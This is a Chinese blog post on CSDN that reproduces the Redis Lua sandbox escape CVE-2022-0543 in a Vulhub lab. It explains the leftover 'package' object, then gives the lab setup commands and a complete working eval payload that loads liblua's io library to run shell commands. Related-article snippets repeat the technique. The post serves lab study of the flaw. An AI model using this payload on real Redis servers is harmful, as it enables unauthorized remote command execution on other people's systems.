Redis Lua沙盒绕过命令执行（CVE-2022-0543）

最新推荐文章于 2024-04-21 18:49:25 发布
最新推荐文章于 2024-04-21 18:49:25 发布
阅读量194 收藏
点赞数
分类专栏： vulhub漏洞复现 文章标签： redis lua 数据库 安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54786196/article/details/132642457
版权

CVE-2022-0543漏洞

0x01 原理

 Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。

0x02 环境

启动环境

cd vulhub/redis/CVE-2022-0543
docker-compose up -d

0x03 漏洞利用

 环境启动后，我们到另一台kail机连接redis

使用命令连接

redis-cli -h 192.168.233.134

连接成功之后使用使用eval命令执行脚本

不同环境下的liblua库路径不同，我们需要指定一个正确的路径。而在Vulhub环境（Ubuntu fiocal）中，这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

命令执行

YiHua_yiye
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache Airflow Celery 消息中间件命令执行漏洞CVE-2020-11981POC脚本
12-09
Apache Airflow Celery 消息中间件命令执行漏洞CVE-2020-11981POC脚本 Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG（Directed acyclic graph 有向无环图）来...
CVE-2022-0543 Redis Lua 沙盒逃逸 RCE
qq_50854662的博客
01-05 366
CVE-2022-0543 Redis Lua 沙盒逃逸 RCE
CVE-2022-0543 Redis沙盒逃逸漏洞复现(CVE-2022-0543)
最新发布
XZ_______的博客
04-21 986
漏洞复现
【CVE-2022-0543】Redis Lua沙盒绕过命令执行复现
网安君的博客
03-16 6087
0x00 漏洞简介 Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本1的能力。 Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。 参考链接： https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce https://bugs.debian.org/cgi-bin/
Redis Lua沙盒绕过 命令执行(CVE-2022-0543)漏洞复现
XXokok的博客
11-25 606
Redis Lua沙盒绕过 命令执行(CVE-2022-0543)漏洞复现
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
Foreverlove112的博客
09-22 502
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
resty-redis-cluster：Redis集群的Openresty lua客户端
02-03
《深入理解resty-redis-cluster：Openresty Lua中的Redis集群客户端》 在现代Web服务开发中，数据存储和缓存扮演着至关重要的角色。Redis作为一款高性能的键值存储系统，广泛应用于缓存、消息队列等领域。而...
lua-resty-redis-connector-master
04-11
在使用lua-resty-redis-connector时，开发者需要先在Lua代码中初始化连接池，然后从池中获取连接，执行相应的Redis命令。例如： ```lua local redis = require "resty.redis" local red = redis:new() red:set_time...
lua-resty-redis-connector：lua-resty-redis的连接实用程序
02-03
`lua-resty-redis-connector` 是一个针对 `lua-resty-redis` 库的扩展模块，主要用于在 OpenResty（一个基于 Nginx 的高性能 Web 平台，集成了 LuaJIT）环境中提供更高效的 Redis 连接管理。这个库帮助开发者在处理...
lua-resty-redis-util：openrestylua-resty-redis封装工具类
02-03
`lua-resty-redis-util` 是一个专门为 OpenResty（一个基于 Nginx 的高性能 Web 平台，集成了 LuaJIT）设计的 Redis 客户端库的封装工具类。这个工具类使得在 OpenResty 中使用 Lua 与 Redis 进行交互变得更加便捷和...
LuaJIT源码分析（一）搭建调试环境
异次元的归来
03-03 1308
浏览这个脚本，可以发现LuaJIT的编译分为三个部分，首先是build出一个minilua，它是lua原生代码的一个子集，用来判断当前平台是32位还是64位，并执行lua脚本并生成平台相关的指令；最后编译lua的各种lib，然后生成最终的LuaJIT。另外，脚本在编译结束时，会执行一些清理工作，把中间生成的代码，以及编译产生的obj都会删除掉。然后，我们在src同级目录下新建一个目录，用来存放vs工程，在vs中新建一个empty console C++工程，然后把src目录的头文件和源文件都添加进去。
CVE-2022-0543（redis沙盒逃逸）
huayimy的博客
02-03 876
CVE-2022-0543（redis沙盒逃逸借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。运行完docker-compose后，打开我们的redis就是我们的漏洞环境啦
Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析
xhscxj的博客
02-03 1855
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
CVE-2022-0543（Redis 沙盒逃逸漏洞）
热门推荐
Battery的博客
11-23 8万+
CVE-2022-0543是一个与Redis相关的安全漏洞。在Redis中，用户连接后可以通过eval命令执行Lua脚本，但在沙箱环境中脚本无法执行命令或读取文件。然而，攻击者可以利用Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库liblua5.1.so.0里的导出函数luaopen_io，从而获得io库并执行命令。为了利用这个漏洞，攻击者需要在Redis客户端中输入恶意payload，其中whoami是要执行的命令，也可以根据需求更换其他命令。
简单漏洞：CVE-2022-0543 Redis Lua 沙盒绕过
栉风沐雪的博客
01-29 1004
CVE-2022-0543 Redis Lua 沙盒绕过漏，在Lua沙箱中遗留了一个对象package，攻击者可以利用package对象提供的加载动态链接库liblua里的函数逃逸。redis在用户连接后可以通过eval命令执行Lua脚本，但是脚本跑在沙箱中，正常情况下无法执行命令读取文件，所以这个漏洞的本质是沙箱绕过。一般情况下，redis运行在6379（默认端口），而在此镜像中映射于36770端口，可以使用nmap扫描端口发现相应服务。影响范围：Debian系得linux发行版本+Ubuntu。
redis lua沙盒绕过
08-14
根引用和引用，在Debian和Ubuntu的Redis发行版中，由于在Lua沙箱中遗留了一个对象package，攻击者可以利用该对象的方法加载动态链接库liblua里的函数，从而逃逸沙箱执行任意命令。但要利用这个漏洞，攻击者需要具有执行eval命令的权限，即攻击者经过认证或Redis本身未设置鉴权检查。 另外，根据引用，一些发行版本（如Ubuntu、Debian和CentOS）会在原始软件的基础上打补丁，其中有一个针对Redis的补丁。该补丁在lua_libs_debian.c中增加了一个include语句，并使用make生成补丁包。 综上所述，Redis Lua沙盒绕过漏洞存在于Debian和Ubuntu的Redis发行版中，攻击者可以利用这个漏洞来执行任意命令，前提是攻击者具有执行eval命令的权限，并且Redis未设置鉴权检查。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [Redis Lua沙盒绕过命令执行（CVE-2022-0543）](https://blog.csdn.net/weixin_45495060/article/details/123692356)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【CVE-2022-0543】Redis Lua沙盒绕过命令执行复现](https://blog.csdn.net/weixin_45329947/article/details/123531319)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [简单漏洞：CVE-2022-0543 Redis Lua 沙盒绕过](https://blog.csdn.net/qq_74447851/article/details/128791134)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值